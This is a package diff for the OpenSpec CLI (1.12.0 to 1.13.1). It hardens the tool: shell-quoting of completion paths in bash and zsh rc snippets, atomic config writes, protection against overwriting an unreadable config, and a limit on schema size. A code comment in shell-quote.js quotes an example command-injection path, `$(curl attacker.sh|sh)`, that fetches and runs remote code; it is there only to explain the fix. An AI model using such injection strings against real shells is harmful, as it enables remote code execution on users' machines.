@fission-ai/openspec 1.12.0 → 1.13.1

package/dist/core/artifact-graph/types.js

@@ -18,6 +18,9 @@ function relativePathSchema(fieldName) {
     });
 }
 // Artifact definition schema
+// Upper bound on artifacts in one schema. Keeps `validateNoCycles`' recursive
+// DFS well inside the stack limit for any accepted input.
+const MAX_ARTIFACTS = 1000;
 export const ArtifactSchema = z.object({
     id: z.string().min(1, { error: 'Artifact ID is required' }),
     generates: relativePathSchema('generates field'),
@@ -40,7 +43,15 @@ export const SchemaYamlSchema = z.object({
     name: z.string().min(1, { error: 'Schema name is required' }),
     version: z.number().int().positive({ error: 'Version must be a positive integer' }),
     description: z.string().optional(),
-    artifacts: z.array(ArtifactSchema).min(1, { error: 'At least one artifact required' }),
+    artifacts: z
+        .array(ArtifactSchema)
+        .min(1, { error: 'At least one artifact required' })
+        // Bounded so a hostile schema cannot drive the cycle-detection DFS past the
+        // V8 stack limit and crash with an uncaught RangeError instead of a
+        // validation error.
+        .max(MAX_ARTIFACTS, {
+        error: `A schema may declare at most ${MAX_ARTIFACTS} artifacts`,
+    }),
     // Optional apply phase configuration (for schema-aware apply instructions)
     apply: ApplyPhaseSchema.optional(),
 });

package/dist/core/change-status-policy.d.ts

@@ -33,5 +33,19 @@ export interface ActionContextInput {
 }
 export declare function summarizePlanningHome(planningHome: PlanningHome | undefined): PlanningHomeSummary | undefined;
 export declare function buildActionContext(input: ActionContextInput): ActionContext;
+/**
+ * The one next action for a change, in both the forms the CLI needs.
+ *
+ * `sentence` is what the JSON `nextSteps` contract publishes; `command` is the
+ * bare command the text surface prints. Both are built here so the two
+ * surfaces can never name a different next step.
+ */
+export interface ChangeNextStep {
+    /** Ready-to-run command, including any `--store` flag. */
+    command: string;
+    /** Sentence form carried by the JSON `nextSteps` array. */
+    sentence: string;
+}
+export declare function resolveNextStep(input: ChangeNextStepsInput): ChangeNextStep | undefined;
 export declare function buildNextSteps(input: ChangeNextStepsInput): string[];
 //# sourceMappingURL=change-status-policy.d.ts.map

package/dist/core/change-status-policy.js

@@ -20,16 +20,24 @@ export function buildActionContext(input) {
         constraints: ['Repo-local change artifacts and implementation edits are scoped to this project.'],
     };
 }
-export function buildNextSteps(input) {
+export function resolveNextStep(input) {
     const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
-    const steps = [];
     const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
     if (readyArtifact) {
-        steps.push(`Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.`);
+        const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
+        return { command, sentence: `Run ${command} before writing that artifact.` };
     }
-    else if (input.allArtifactsComplete) {
-        steps.push(`All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.`);
+    if (input.allArtifactsComplete) {
+        const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
+        return {
+            command,
+            sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
+        };
     }
-    return steps;
+    return undefined;
+}
+export function buildNextSteps(input) {
+    const step = resolveNextStep(input);
+    return step ? [step.sentence] : [];
 }
 //# sourceMappingURL=change-status-policy.js.map

package/dist/core/command-generation/generator.js

@@ -5,6 +5,7 @@
  */
 import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
 import { transformCommandInvocations } from '../../utils/command-references.js';
+import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
 /**
  * Generate a single command file using the provided adapter.
  *
@@ -20,6 +21,7 @@ import { transformCommandInvocations } from '../../utils/command-references.js';
  * @returns Generated command with path and file content
  */
 export function generateCommand(content, adapter) {
+    assertWorkflowConditionalsResolved(content.body, `Command '${content.id}' was generated without resolving its optional-workflow blocks`);
     const invocation = getInvocationForAdapter(adapter);
     const formatted = needsInvocationRewrite(invocation)
         ? { ...content, body: transformCommandInvocations(content.body, invocation) }

package/dist/core/completion-tip.js

@@ -18,8 +18,8 @@
  *   non-TTY runs, which are deferred rather than consumed (see `silent`)
  */
 import * as fs from 'node:fs';
-import * as path from 'node:path';
 import { getGlobalConfigPath } from './global-config.js';
+import { writeFileAtomically } from './file-state.js';
 import { isCiEnvironment } from '../utils/ci.js';
 import { detectShell } from '../utils/shell-detection.js';
 import { CompletionFactory } from './completions/factory.js';
@@ -94,13 +94,13 @@ function readRawConfig() {
  * write down to this one key, and the rename keeps a reader from ever seeing a
  * half-written config.
  */
-function markTipSeen() {
+async function markTipSeen() {
     const configPath = getGlobalConfigPath();
     const current = readRawConfig() ?? {};
-    const tempPath = `${configPath}.${process.pid}.tmp`;
-    fs.mkdirSync(path.dirname(configPath), { recursive: true });
-    fs.writeFileSync(tempPath, JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n', 'utf-8');
-    fs.renameSync(tempPath, configPath);
+    // The shared atomic writer: randomized temp name, owner-only mode, temp file
+    // removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
+    // is both guessable and world-readable once renamed over the config.
+    await writeFileAtomically(configPath, JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n');
 }
 /**
  * Print the completion tip once, the first time the CLI runs.
@@ -121,7 +121,7 @@ export async function maybeShowCompletionTip(options = {}) {
         const decision = await decideTip();
         // Record before printing: if the flag cannot be persisted, staying quiet
         // beats reprinting the tip on every future run.
-        markTipSeen();
+        await markTipSeen();
         if (decision === 'show') {
             console.error(`\n${COMPLETION_TIP_MESSAGE}`);
         }

package/dist/core/completions/installers/bash-installer.js

@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
 import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
+import { shellSingleQuote } from './shell-quote.js';
 /**
  * Installer for Bash completion scripts.
  * Supports bash-completion package and standalone installations.
@@ -105,10 +106,11 @@ export class BashInstaller {
      * @returns Configuration content
      */
     generateBashrcConfig(completionsDir) {
+        const quotedDir = shellSingleQuote(completionsDir);
         return [
             '# OpenSpec shell completions configuration',
-            `if [ -d "${completionsDir}" ]; then`,
-            `  for f in "${completionsDir}"/*; do`,
+            `if [ -d ${quotedDir} ]; then`,
+            `  for f in ${quotedDir}/*; do`,
             '    [ -f "$f" ] && . "$f"',
             '  done',
             'fi',
@@ -177,9 +179,11 @@ export class BashInstaller {
             }
             // Remove lines between markers (inclusive)
             lines.splice(startIndex, endIndex - startIndex + 1);
-            // Remove trailing empty lines
-            while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
-                lines.pop();
+            // Install puts the block at the top of the file followed by one blank
+            // separator line; drop that line too so the file reads as it did before.
+            // Everything else, including the file's final newline, is left as is.
+            if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
+                lines.shift();
             }
             // Write back
             await fs.writeFile(bashrcPath, lines.join('\n'), 'utf-8');
@@ -281,14 +285,18 @@ export class BashInstaller {
      */
     generateInstructions(installedPath) {
         const completionsDir = path.dirname(installedPath);
+        // Quoted exactly like the auto-configured block: these lines are printed
+        // for the user to paste into their own rc file, so an expansion left in
+        // them runs on every future shell start.
+        const quotedDir = shellSingleQuote(completionsDir);
         return [
             'Completion script installed successfully.',
             '',
             'To enable completions, add the following to your ~/.bashrc file:',
             '',
             `  # Source OpenSpec completions`,
-            `  if [ -d "${completionsDir}" ]; then`,
-            `    for f in "${completionsDir}"/*; do`,
+            `  if [ -d ${quotedDir} ]; then`,
+            `    for f in ${quotedDir}/*; do`,
             '      [ -f "$f" ] && . "$f"',
             '    done',
             '  fi',

package/dist/core/completions/installers/shell-quote.d.ts

@@ -0,0 +1,11 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export declare function shellSingleQuote(value: string): string;
+//# sourceMappingURL=shell-quote.d.ts.map

package/dist/core/completions/installers/shell-quote.js

@@ -0,0 +1,13 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export function shellSingleQuote(value) {
+    return `'${value.replace(/'/g, `'\\''`)}'`;
+}
+//# sourceMappingURL=shell-quote.js.map

package/dist/core/completions/installers/zsh-installer.js

@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
 import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
+import { shellSingleQuote } from './shell-quote.js';
 /**
  * Installer for Zsh completion scripts.
  * Supports both Oh My Zsh and standard Zsh configurations.
@@ -109,7 +110,7 @@ export class ZshInstaller {
     generateZshrcConfig(completionsDir) {
         return [
             '# OpenSpec shell completions configuration',
-            `fpath=("${completionsDir}" $fpath)`,
+            `fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
             'autoload -Uz compinit',
             'compinit',
         ].join('\n');
@@ -340,7 +341,7 @@ export class ZshInstaller {
                 'To enable completions, add the following to your ~/.zshrc file:',
                 '',
                 `  # Add completions directory to fpath`,
-                `  fpath=(${completionsDir} $fpath)`,
+                `  fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
                 '',
                 '  # Initialize completion system',
                 '  autoload -Uz compinit',

package/dist/core/config-schema.d.ts

@@ -6,8 +6,8 @@ import { z } from 'zod';
 export declare const GlobalConfigSchema: z.ZodObject<{
     featureFlags: z.ZodDefault<z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodBoolean>>>;
     profile: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
-        core: "core";
         custom: "custom";
+        core: "core";
     }>>>;
     delivery: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
         commands: "commands";

package/dist/core/config.d.ts

@@ -16,10 +16,26 @@ export interface AIToolOption {
     legacySkillsDirs?: string[];
     globalSkillsDir?: string;
     detectionPaths?: string[];
+    searchAliases?: string[];
     setupNote?: string;
     requiresIdeRestart?: boolean;
 }
 export declare const AI_TOOLS: AIToolOption[];
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export declare const UNIVERSAL_TOOL_ID = "agents";
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export declare function getUniversalTool(): AIToolOption | undefined;
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export declare function universalToolFallbackHint(offeredToolIds: string[]): string | undefined;
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

package/dist/core/config.js

@@ -68,8 +68,34 @@ export const AI_TOOLS = [
     // A project that does keep skills there is a project this target fits, the same
     // way `.claude/` selects Claude Code — the signal is the user's setup, not
     // OpenSpec's own files.
-    { name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] }
+    // The picker is searchable, so this entry also answers to the words someone
+    // whose assistant is not on the list actually types (#653) — it is named for
+    // a directory, which none of them would guess. Aliases are single words: the
+    // space bar toggles a selection rather than typing into the search box.
+    { name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
 ];
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export const UNIVERSAL_TOOL_ID = 'agents';
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export function getUniversalTool() {
+    return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
+}
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export function universalToolFallbackHint(offeredToolIds) {
+    const universal = getUniversalTool();
+    if (!universal || !offeredToolIds.includes(universal.value))
+        return undefined;
+    return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
+}
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

package/dist/core/global-config.d.ts

@@ -61,9 +61,37 @@ export declare function getGlobalConfigPath(): string;
  * Merges loaded config with defaults to ensure new fields are available.
  */
 export declare function getGlobalConfig(): GlobalConfig;
+/**
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
+ */
+export declare function isConfigRootObject(parsed: unknown): boolean;
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export declare function unreadableGlobalConfigMessage(configPath: string): string;
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export declare function isGlobalConfigUnreadable(): boolean;
+export interface SaveGlobalConfigOptions {
+    /** Overwrite a config file that cannot be parsed. Only a reset should. */
+    replaceUnreadable?: boolean;
+}
 /**
  * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
  */
-export declare function saveGlobalConfig(config: GlobalConfig): void;
+export declare function saveGlobalConfig(config: GlobalConfig, options?: SaveGlobalConfigOptions): void;
 //# sourceMappingURL=global-config.d.ts.map

package/dist/core/global-config.js

@@ -68,6 +68,9 @@ export function getGlobalDataDir(options = {}) {
 export function getGlobalConfigPath() {
     return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
 }
+// Config paths already warned about. One command reads the config several
+// times (telemetry, the update check, the command itself); warn once.
+const warnedInvalidJsonPaths = new Set();
 /**
  * Loads the global configuration from disk.
  * Returns default configuration if file doesn't exist or is invalid.
@@ -81,6 +84,13 @@ export function getGlobalConfig() {
         }
         const content = fs.readFileSync(configPath, 'utf-8');
         const parsed = JSON.parse(content);
+        // A root that is not a plain object carries no settings, and spreading it
+        // would leak its shape into the result: a string contributes numeric
+        // character keys. Answer with plain defaults, as for a file that did not
+        // parse at all. Same predicate the writers refuse to save over.
+        if (!isConfigRootObject(parsed)) {
+            return { ...DEFAULT_CONFIG };
+        }
         // Merge with defaults (loaded values take precedence)
         const merged = {
             ...DEFAULT_CONFIG,
@@ -102,19 +112,63 @@ export function getGlobalConfig() {
     }
     catch (error) {
         // Log warning for parse errors, but not for missing files
-        if (error instanceof SyntaxError) {
+        if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
+            warnedInvalidJsonPaths.add(configPath);
             console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
         }
         return { ...DEFAULT_CONFIG };
     }
 }
+/**
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
+ */
+export function isConfigRootObject(parsed) {
+    return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
+}
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export function unreadableGlobalConfigMessage(configPath) {
+    return (`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
+        'Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
+}
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export function isGlobalConfigUnreadable() {
+    const configPath = getGlobalConfigPath();
+    if (!fs.existsSync(configPath)) {
+        return false;
+    }
+    try {
+        return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
+    }
+    catch {
+        return true;
+    }
+}
 /**
  * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
  */
-export function saveGlobalConfig(config) {
+export function saveGlobalConfig(config, options = {}) {
     const configDir = getGlobalConfigDir();
     const configPath = getGlobalConfigPath();
+    if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
+        throw new Error(unreadableGlobalConfigMessage(configPath));
+    }
     // Create directory if it doesn't exist
     if (!fs.existsSync(configDir)) {
         fs.mkdirSync(configDir, { recursive: true });

package/dist/core/init.js

@@ -14,7 +14,7 @@ import { classifyOpenSpecDir, MAX_CONTEXT_SIZE, readProjectConfig, storePointerP
 import { findRepoPlanningRootSync } from './planning-home.js';
 import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.js';
 import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
-import { AI_TOOLS, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
+import { AI_TOOLS, getUniversalTool, universalToolFallbackHint, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
 import { PALETTE } from './styles/palette.js';
 import { isInteractive } from '../utils/interactive.js';
 import { serializeConfig } from './config-prompts.js';
@@ -24,6 +24,7 @@ import { getToolsWithSkillsDir, getToolStates, getSkillTemplates, getCommandCont
 import { getGlobalConfig } from './global-config.js';
 import { getProfileWorkflows, ALL_WORKFLOWS } from './profiles.js';
 import { getAvailableTools } from './available-tools.js';
+import { formatOptionalWorkflowsNote } from './onboarding-commands.js';
 import { resolveSharedSkillWriters, sharedSkillRootOwner, writeSharedSkillTarget, } from './shared-skill-target.js';
 import { migrateIfNeeded, migrateLegacyToolDirs, describeLegacyMigration, keptInPlaceNotice, hasMovableContent, scanInstalledWorkflows as scanInstalledWorkflowsShared } from './migration.js';
 import { resolveCommandSurfaceCapability, resolveCommandInvocation, shouldGenerateCommandsForTool, shouldGenerateSkillsForTool, shouldReconcileCommandFilesForTool, shouldRemoveSkillsForTool, } from './command-surface.js';
@@ -422,7 +423,8 @@ export class InitCommand {
             if (detectedToolIds.size > 0) {
                 return [...detectedToolIds];
             }
-            throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...`);
+            const fallbackHint = universalToolFallbackHint(validTools);
+            throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`);
         }
         if (validTools.length === 0) {
             throw new Error(`No tools available for skill generation.`);
@@ -439,6 +441,7 @@ export class InitCommand {
             return {
                 name: tool?.name || toolId,
                 value: toolId,
+                searchAliases: tool?.searchAliases,
                 configured,
                 detected: detected && !configured,
                 preSelected: configured || (shouldPreselectDetected && detected && !configured),
@@ -471,10 +474,17 @@ export class InitCommand {
                 : 'not pre-selected';
             console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
         }
+        // A search that matches nothing is where someone whose assistant is not on
+        // the list gives up (#653), so name the vendor-neutral entry right there.
+        const universalTool = getUniversalTool();
+        const universalHint = universalTool && validTools.includes(universalTool.value)
+            ? `Tool not listed? Clear the search and pick "${universalTool.name}".`
+            : undefined;
         const selectedTools = await searchableMultiSelect({
             message: `Select tools to set up (${validTools.length} available)`,
             pageSize: 15,
             choices: sortedChoices,
+            emptyHint: universalHint,
             validate: (selected) => selected.length > 0 || 'Select at least one tool',
         });
         if (selectedTools.length === 0) {
@@ -515,7 +525,8 @@ export class InitCommand {
         }
         const invalidTokens = tokens.filter((_token, index) => !availableSet.has(normalizedTokens[index]));
         if (invalidTokens.length > 0) {
-            throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}`);
+            const fallbackHint = universalToolFallbackHint([...availableSet]);
+            throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`);
         }
         // Deduplicate while preserving order
         const deduped = [];
@@ -1018,9 +1029,11 @@ export class InitCommand {
                 `${zeroArtifactTools.length === 1 ? 'it supports' : 'they support'} only skills. ` +
                 `Run 'openspec config set delivery both' to generate skills.`));
         }
+        let advertisedAnInvocation = true;
         if (successfulTools.length > 0 && !commandsGenerated && !skillsGenerated) {
             // Nothing was generated for any tool: the correction above is the
             // whole story, so don't advertise an invocation that doesn't exist.
+            advertisedAnInvocation = false;
         }
         else if (activeWorkflows.includes('propose')) {
             printStartHints('/opsx:propose');
@@ -1030,6 +1043,23 @@ export class InitCommand {
         }
         else {
             console.log("Done. Run 'openspec config profile' to configure your workflows.");
+            advertisedAnInvocation = false;
+        }
+        // Workflows the active profile left out. Setup is the only moment a user
+        // is told what exists, so name them here rather than let a missing
+        // command read as a broken install (#1076). Skipped when the branch above
+        // already pointed at `openspec config profile`, and when no tool received
+        // a workflow surface at all (no tools selected, or none that could take
+        // one) — there, adding workflows writes nothing, so naming them would
+        // point at the wrong problem.
+        if (advertisedAnInvocation && (commandsGenerated || skillsGenerated)) {
+            const optionalWorkflowsNote = formatOptionalWorkflowsNote(activeWorkflows);
+            if (optionalWorkflowsNote) {
+                console.log();
+                for (const line of optionalWorkflowsNote) {
+                    console.log(chalk.dim(line));
+                }
+            }
         }
         // Links
         console.log();

package/dist/core/legacy-cleanup.d.ts

@@ -25,6 +25,8 @@ export declare const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlo
 export interface LegacySlashCommandPattern {
     type: 'directory' | 'files';
     path?: string;
+    /** For directory type: the only files in `path` that OpenSpec wrote. */
+    managedFileNames?: readonly string[];
     pattern?: string | string[];
 }
 /**
@@ -149,6 +151,8 @@ export interface CleanupResult {
     modifiedFiles: string[];
     /** Directories that were deleted */
     deletedDirs: string[];
+    /** Entries left in a legacy command directory because OpenSpec did not write them */
+    keptFiles?: string[];
     /** Whether project.md exists and needs manual migration */
     projectMdNeedsMigration: boolean;
     /** Error messages if any operations failed */